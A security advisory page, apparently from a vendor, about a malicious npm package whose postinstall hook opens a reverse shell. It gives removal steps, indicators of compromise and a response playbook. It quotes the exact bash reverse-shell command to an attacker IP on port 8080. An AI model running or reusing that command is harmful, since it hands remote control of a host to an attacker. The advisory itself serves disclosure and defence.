Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

hello-world-pkg-value-value-pnpm

Malicious code in hello-world-pkg-value-value-p (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-3714
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall hello-world-pkg-value-value-p

What this malware does

This package's postinstall hook executes node index.js, which runs execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1') — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs npm install hello-world-pkg-value-value-p hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm...') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.

The OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.

Malicious versions

2 flagged
1.0.41.0.11

Indicators of compromise (SHA-256)

0df4b35a2af7f4d8b4fdcda0dcb3e872deddb6a320bf6af8405b27f42ff413db
d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89

Detection & response playbook

Backdoor / remote access
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for hello-world-pkg-value-value-p (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging hello-world-pkg-value-value-p across your stack and pipelines.

  2. If you installed it — respond

    hello-world-pkg-value-value-p establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If hello-world-pkg-value-value-p was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks hello-world-pkg-value-value-p before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. hello-world-pkg-value-value-p on npm has been identified as a malicious package (versions 1.0.4, 1.0.11 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-002759

References

Credits

  • Amazon Inspector · finder
  • OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks hello-world-pkg-value-value-p-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

hello-world-pkg-value-value-p (npm) malicious package — MAL-2026-3714 | O3 Security